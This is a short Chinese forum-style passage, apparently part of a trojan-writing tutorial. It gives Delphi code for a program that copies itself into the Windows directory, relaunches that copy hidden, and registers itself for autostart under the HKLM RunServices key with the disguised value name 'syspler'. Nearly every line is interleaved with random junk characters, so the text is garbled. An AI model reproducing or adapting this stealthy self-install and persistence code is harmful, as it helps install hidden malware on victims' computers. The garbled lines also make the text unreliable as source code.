|
为了程序能在Windows每次启动时自动运行* v5 A- z, r0 N4 x' q6 A8 j
加入Registry单元,改写上面的窗口Create事件,改写后的程序如下:
4 `% `4 `1 u, vprocedure TForm1.FormCreate(Sender: TObject);
: H% q( n4 @6 {& Y$ [; Rconst K = '\Software\Microsoft\Windows\CurrentVersion\RunServices';
& P" k7 B+ s# ]# M8 R+ z- xvar myname: string;
' ~' p6 i7 b1 @$ Q T7 wbegin
3 o, c1 z* m) I4 C; D" B6 ?9 u0 @{Write by Lovejingtao,替换Lovejingtao.126.com,Lovejingtao@21cn.com}2 }- B4 n) U, t
myname := ExtractFilename(Application.Exename); //获得文件名
% O. r3 Z; y2 C8 [) yif application.Exename <> GetWindir + myname then //如果文件不是在Windows\System\那么..( n1 R, m' j& Z% {7 X3 d" W) C
begin; W$ m/ t2 u3 [0 x- R
copyfile(pchar(application.Exename), pchar(GetWindir + myname), False);{//将自己拷贝到Windows\System\下}$ m* G2 g, l5 f) v; M
Winexec(pchar(GetWindir + myname), sw_hide);//运行Windows\System\下的新文件; z9 d+ V# Z6 Y
application.Terminate;//退出# } ]. R3 |9 w6 J9 _. D
end;& i6 q, l" k6 K$ V
with TRegistry.Create do
4 H/ n4 ]& _9 P+ }9 [# ]4 mtry
7 @ x, M! Y- l8 yRootKey := HKEY_LOCAL_MACHINE;
7 X- e4 X( \# \! cOpenKey( K, TRUE );
" L5 g0 W6 d" q6 Q2 tWriteString( 'syspler', application.ExeName );# C( Y& H% e7 N( ^
finally2 a0 o' x4 _% k/ K
free;; w$ k9 G" r! G) C
end;
) e! R* I9 U1 I& J: mend; |
|